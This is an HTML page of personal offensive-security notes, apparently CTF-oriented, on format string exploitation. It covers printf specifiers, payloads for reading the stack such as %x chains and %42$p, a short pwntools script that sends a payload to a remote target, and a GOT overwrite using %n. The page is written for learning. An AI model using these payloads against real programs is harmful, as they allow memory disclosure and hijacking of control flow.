2022-09-02 09:05:59 +02:00
<!doctype html>
< html lang = "en" >
< center >
< head >
< script src = "https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js" > < / script >
2022-09-09 15:41:05 +02:00
< script src = "https://code.jquery.com/jquery-3.5.1.min.js" > < / script >
< script type = "text/javascript" src = "/static/js/auto-complete.js" > < / script >
< script type = "text/javascript" src = "/static/js/lunr.min.js" > < / script >
< script type = "text/javascript" src = "/static/js/search.js" > < / script >
2022-09-02 09:05:59 +02:00
< link rel = "stylesheet" href = "/static/stylesheet.css" >
< link rel = "stylesheet" href = "/static/auto-complete.css" >
< br >
2022-09-09 15:41:05 +02:00
< title > The Real Hugo< / title >
2022-09-02 09:05:59 +02:00
< meta name = "viewport" content = "width=device-width, initial-scale=1" >
< / head >
< body >
<!-- topmenu -->
< div class = "menu" >
2022-09-09 15:41:05 +02:00
< a href = "/" style = "text-decoration:none" > Husk< / a >
2022-09-02 09:05:59 +02:00
< / div >
< div class = "search-container" >
< label for = "search-by" > < i class = "fas fa-search" > < / i > < / label >
< input data-search-input = "" id = "search-by" type = "search" placeholder = "Search..." autocomplete = "off" >
<!-- button type="submit"><i class="search"></i>🔍</button> -->
< span data-search-clear = "" > < i class = "fas fa-times" > < / i > < / span >
< / div >
< / div >
< div class = "menu" >
< / div >
<!-- br><br -->
< / center >
< p > < / p >
< div class = "columns" >
<!-- Sidebar -->
< div class = "column column-1" >
2022-09-09 15:41:05 +02:00
< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); return false;" > < summary > Snmp< / summary > < ul > < li > < a href = "/enumeration/docs/snmp/onesixtyone.html" > onesixtyone< / a > < / li > < li > < a href = "/enumeration/docs/snmp/snmpcheck.html" > snmpcheck< / a > < / li > < / ul > < / details > < li > < a href = "/enumeration/docs/websites.html" > websites< / a > < / li > < li > < a href = "/enumeration/docs/wfuzz.html" > wfuzz< / a > < / li > < li > < a href = "/enumeration/docs/wpscan.html" > wpscan< / a > < / li > < / ul > < / details > < details id = network_scanners ontoggle = "linkClick(this); return false;" > < summary > Network_scanners< / summary > < ul > < / ul > < / details > < details id = windows ontoggle = "linkClick(this); return false;" > < summary > Windows< / summary > < ul > < li > < a href = "/enumeration/windows/bloodhound.html" > bloodhound< / a > < / li > < li > < a href = "/enumeration/windows/event_log.html" > event_log< / a > < / li > < li > < a href = "/enumeration/windows/manual_enum.html" > manual_enum< / a > < / li > < li > < a href = "/enumeration/windows/powershell.html" > powershell< / a > < / li > < li > < a href = "/enumeration/windows/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/windows/sysinternals.html" > sysinternals< / a > < / li > < li > < a href = "/enumeration/windows/sysmon.html" > sysmon< / a > < / li > < li > < a href = "/enumeration/windows/vss.html" > vss< / a > < / li > < / ul > < / details > < / ul > < / details > < details id = exploit ontoggle = "linkClick(this); return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
2022-09-02 09:05:59 +02:00
< / ul >
< / div >
< div class = "column column-2" >
< span class = "body" >
< style > p r e { l i n e - h e i g h t : 1 2 5 % ; }
td.linenos .normal { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
td.linenos .special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos.special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
.codehilite .hll { background-color: #2C3B41 }
.codehilite .c { color: #546E7A; font-style: italic } /* Comment */
.codehilite .err { color: #FF5370 } /* Error */
.codehilite .esc { color: #89DDFF } /* Escape */
.codehilite .g { color: #EEFFFF } /* Generic */
.codehilite .k { color: #BB80B3 } /* Keyword */
.codehilite .l { color: #C3E88D } /* Literal */
.codehilite .n { color: #EEFFFF } /* Name */
.codehilite .o { color: #89DDFF } /* Operator */
.codehilite .p { color: #89DDFF } /* Punctuation */
.codehilite .ch { color: #546E7A; font-style: italic } /* Comment.Hashbang */
.codehilite .cm { color: #546E7A; font-style: italic } /* Comment.Multiline */
.codehilite .cp { color: #546E7A; font-style: italic } /* Comment.Preproc */
.codehilite .cpf { color: #546E7A; font-style: italic } /* Comment.PreprocFile */
.codehilite .c1 { color: #546E7A; font-style: italic } /* Comment.Single */
.codehilite .cs { color: #546E7A; font-style: italic } /* Comment.Special */
.codehilite .gd { color: #FF5370 } /* Generic.Deleted */
.codehilite .ge { color: #89DDFF } /* Generic.Emph */
.codehilite .gr { color: #FF5370 } /* Generic.Error */
.codehilite .gh { color: #C3E88D } /* Generic.Heading */
.codehilite .gi { color: #C3E88D } /* Generic.Inserted */
.codehilite .go { color: #546E7A } /* Generic.Output */
.codehilite .gp { color: #FFCB6B } /* Generic.Prompt */
.codehilite .gs { color: #FF5370 } /* Generic.Strong */
.codehilite .gu { color: #89DDFF } /* Generic.Subheading */
.codehilite .gt { color: #FF5370 } /* Generic.Traceback */
.codehilite .kc { color: #89DDFF } /* Keyword.Constant */
.codehilite .kd { color: #BB80B3 } /* Keyword.Declaration */
.codehilite .kn { color: #89DDFF; font-style: italic } /* Keyword.Namespace */
.codehilite .kp { color: #89DDFF } /* Keyword.Pseudo */
.codehilite .kr { color: #BB80B3 } /* Keyword.Reserved */
.codehilite .kt { color: #BB80B3 } /* Keyword.Type */
.codehilite .ld { color: #C3E88D } /* Literal.Date */
.codehilite .m { color: #F78C6C } /* Literal.Number */
.codehilite .s { color: #C3E88D } /* Literal.String */
.codehilite .na { color: #BB80B3 } /* Name.Attribute */
.codehilite .nb { color: #82AAFF } /* Name.Builtin */
.codehilite .nc { color: #FFCB6B } /* Name.Class */
.codehilite .no { color: #EEFFFF } /* Name.Constant */
.codehilite .nd { color: #82AAFF } /* Name.Decorator */
.codehilite .ni { color: #89DDFF } /* Name.Entity */
.codehilite .ne { color: #FFCB6B } /* Name.Exception */
.codehilite .nf { color: #82AAFF } /* Name.Function */
.codehilite .nl { color: #82AAFF } /* Name.Label */
.codehilite .nn { color: #FFCB6B } /* Name.Namespace */
.codehilite .nx { color: #EEFFFF } /* Name.Other */
.codehilite .py { color: #FFCB6B } /* Name.Property */
.codehilite .nt { color: #FF5370 } /* Name.Tag */
.codehilite .nv { color: #89DDFF } /* Name.Variable */
.codehilite .ow { color: #89DDFF; font-style: italic } /* Operator.Word */
.codehilite .w { color: #EEFFFF } /* Text.Whitespace */
.codehilite .mb { color: #F78C6C } /* Literal.Number.Bin */
.codehilite .mf { color: #F78C6C } /* Literal.Number.Float */
.codehilite .mh { color: #F78C6C } /* Literal.Number.Hex */
.codehilite .mi { color: #F78C6C } /* Literal.Number.Integer */
.codehilite .mo { color: #F78C6C } /* Literal.Number.Oct */
.codehilite .sa { color: #BB80B3 } /* Literal.String.Affix */
.codehilite .sb { color: #C3E88D } /* Literal.String.Backtick */
.codehilite .sc { color: #C3E88D } /* Literal.String.Char */
.codehilite .dl { color: #EEFFFF } /* Literal.String.Delimiter */
.codehilite .sd { color: #546E7A; font-style: italic } /* Literal.String.Doc */
.codehilite .s2 { color: #C3E88D } /* Literal.String.Double */
.codehilite .se { color: #EEFFFF } /* Literal.String.Escape */
.codehilite .sh { color: #C3E88D } /* Literal.String.Heredoc */
.codehilite .si { color: #89DDFF } /* Literal.String.Interpol */
.codehilite .sx { color: #C3E88D } /* Literal.String.Other */
.codehilite .sr { color: #89DDFF } /* Literal.String.Regex */
.codehilite .s1 { color: #C3E88D } /* Literal.String.Single */
.codehilite .ss { color: #89DDFF } /* Literal.String.Symbol */
.codehilite .bp { color: #89DDFF } /* Name.Builtin.Pseudo */
.codehilite .fm { color: #82AAFF } /* Name.Function.Magic */
.codehilite .vc { color: #89DDFF } /* Name.Variable.Class */
.codehilite .vg { color: #89DDFF } /* Name.Variable.Global */
.codehilite .vi { color: #89DDFF } /* Name.Variable.Instance */
.codehilite .vm { color: #82AAFF } /* Name.Variable.Magic */
.codehilite .il { color: #F78C6C } /* Literal.Number.Integer.Long */< / style >
< div class = "column column-3" >
< ul >
< li > < a href = "#format-string" > Format String< / a > < ul >
< li > < a href = "#parameters" > Parameters< / a > < / li >
< li > < a href = "#offset" > Offset< / a > < / li >
< li > < a href = "#length-of-output" > Length of output< / a > < / li >
< li > < a href = "#read" > Read< / a > < / li >
< li > < a href = "#write" > Write< / a > < / li >
< li > < a href = "#tips-and-tricks" > Tips and Tricks< / a > < / li >
< / ul >
< / li >
< / ul >
< / div >
< h1 id = "format-string" > Format String< / h1 >
< ul >
< li > Read and write values from stack< / li >
< li > < a href = "https://axcheron.github.io/exploit-101-format-strings/" > axcheron's writeup< / a > < / li >
< / ul >
< h2 id = "parameters" > Parameters< / h2 >
< p > |Parameters |Type |Passed as
|-----------------|-------------------------------------------|-----------|
%d decimal (int) value
%u unsigned decimal (unsigned int) value
%x hexadecimal (unsigned int) value
%p hexadecimal (unsigned int), nice layout value
%s string ((const) (unsigned) char< em > ) reference
%n write the number of bytes ypu put in, (< / em > int) reference< / p >
< h2 id = "offset" > Offset< / h2 >
< ul >
< li > Read at offset as pointer value at the 42th argument on the stack< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > %42< span class = "nv" > $s< / span >
< / code > < / pre > < / div >
< ul >
< li > If the pointer at the offset references a string you can dereference by< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > %42< span class = "nv" > $s< / span >
< / code > < / pre > < / div >
< h2 id = "length-of-output" > Length of output< / h2 >
< ul >
< li > Padding of the first argument on stack to the given length< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > %31337x
< / code > < / pre > < / div >
< h2 id = "read" > Read< / h2 >
< ul >
< li > Input < code > %x< / code > for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
< / code > < / pre > < / div >
< ul >
< li > Do long long hex reading from stack< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > %llx
< / code > < / pre > < / div >
< ul >
< li > Select values as string, e.g. the second value< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > %2< span class = "nv" > $s< / span >
< / code > < / pre > < / div >
< ul >
< li > Another way of reading the pointer is via < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > %p
< / code > < / pre > < / div >
< ul >
< li > Read pointer on stack at offset 42< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > %42< span class = "nv" > $p< / span >
< / code > < / pre > < / div >
< ul >
< li > < a href = "https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/format-string.md" > ir0stone's pwn-notes< / a > contains some useful pwntool scripts like this one< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "kn" > from< / span > < span class = "nn" > pwn< / span > < span class = "kn" > import< / span > < span class = "o" > *< / span >
< span class = "c1" > #p = process(' ./vuln' )< / span >
< span class = "n" > p< / span > < span class = "o" > =< / span > < span class = "n" > remote< / span > < span class = "p" > (< / span > < span class = "n" > target_ip< / span > < span class = "p" > ,< / span > < span class = "mi" > 9006< / span > < span class = "p" > )< / span >
< span class = "n" > payload< / span > < span class = "o" > =< / span > < span class = "sa" > b< / span > < span class = "s1" > ' %14$p||||' < / span >
< span class = "n" > payload< / span > < span class = "o" > +=< / span > < span class = "n" > p32< / span > < span class = "p" > (< / span > < span class = "mh" > 0x8048000< / span > < span class = "p" > )< / span >
< span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > sendline< / span > < span class = "p" > (< / span > < span class = "n" > payload< / span > < span class = "p" > )< / span >
< span class = "n" > log< / span > < span class = "o" > .< / span > < span class = "n" > info< / span > < span class = "p" > (< / span > < span class = "n" > p< / span > < span class = "o" > .< / span > < span class = "n" > clean< / span > < span class = "p" > ())< / span >
< / code > < / pre > < / div >
< h2 id = "write" > Write< / h2 >
< ul >
< li > Writing is done via < code > %n< / code > < / li >
< li > An example, GOT overwrite. We want to replace the pointer address< ul >
< li > Watch out for the < code > PTR< / code > from PLT to GOT< / li >
< / ul >
< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > objdump -Mintel -d < binary>
< span class = "o" > [< / span > ...< span class = "o" > ]< / span >
< span class = "m" > 0000000000401060< / span > < printf@plt> :
< span class = "m" > 401060< / span > : ff < span class = "m" > 25< / span > ca 2f < span class = "m" > 00< / span > < span class = "m" > 00< / span > jmp QWORD PTR < span class = "o" > [< / span > rip+0x2fca< span class = "o" > ]< / span > < span class = "c1" > # 404030 < printf@GLIBC_2.2.5> < / span >
< span class = "m" > 401066< / span > : < span class = "m" > 68< / span > < span class = "m" > 03< / span > < span class = "m" > 00< / span > < span class = "m" > 00< / span > < span class = "m" > 00< / span > push 0x3
40106b: e9 b0 ff ff ff jmp < span class = "m" > 401020< / span > < _init+0x20>
< span class = "o" > [< / span > ...< span class = "o" > ]< / span >
< / code > < / pre > < / div >
< ul >
< li > The < code > PTR< / code > derefences < strong > 0x404030< / strong > < / li >
< li > As an example, the parameter is found at arg 6 on the stack< / li >
< li > Write the address of a function that cannot be reached into the PLT < code > PTR< / code > to GOT through the buffer, so it will execute. The address which should be written is < code > 0x40123b< / code > < / li >
< li > The input is as follows< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > %64c%6< span class = "nv" > $n< / span > < restof address - < span class = "m" > 67< / span > > c %13< span class = "nv" > $hn< / span >
< / code > < / pre > < / div >
< ul >
< li > < code > 64c< / code > is < code > 0x40< / code > , rest of address - bytes already + 2 bytes alignment< / li >
< / ul >
< h2 id = "tips-and-tricks" > Tips and Tricks< / h2 >
< ul >
< li > Overwrite GOT when there is no FullRELRO, when it is not read only< / li >
< li > Find the input argument on the stack. Write < code > AAAA< / code > and look out where it is placed on the stack< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > AAAA%6< span class = "nv" > $p< / span >
< / code > < / pre > < / div >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
< / div >
< script >
2022-09-09 15:41:05 +02:00
function linkClick(obj) {
2022-09-02 09:05:59 +02:00
if (obj.open) {
2022-09-09 15:41:05 +02:00
//console.log('open');
2022-09-02 09:05:59 +02:00
if (sessionStorage.getItem(obj.id) & & !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
2022-09-09 15:41:05 +02:00
sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
2022-09-02 09:05:59 +02:00
} else {
2022-09-09 15:41:05 +02:00
//console.log('closed');
sessionStorage.removeItem(obj.id);
}
}
2022-09-02 09:05:59 +02:00
2022-09-09 15:41:05 +02:00
let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length ; i + + ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
2022-09-02 09:05:59 +02:00
< / script >
2022-09-09 15:41:05 +02:00
< script async src = "https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type = "text/javascript" > < / script >
2022-09-02 09:05:59 +02:00
< script type = "text/x-mathjax-config" >
2022-09-09 15:41:05 +02:00
MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
< / script >
2022-09-02 09:05:59 +02:00
< / body >
< / html >
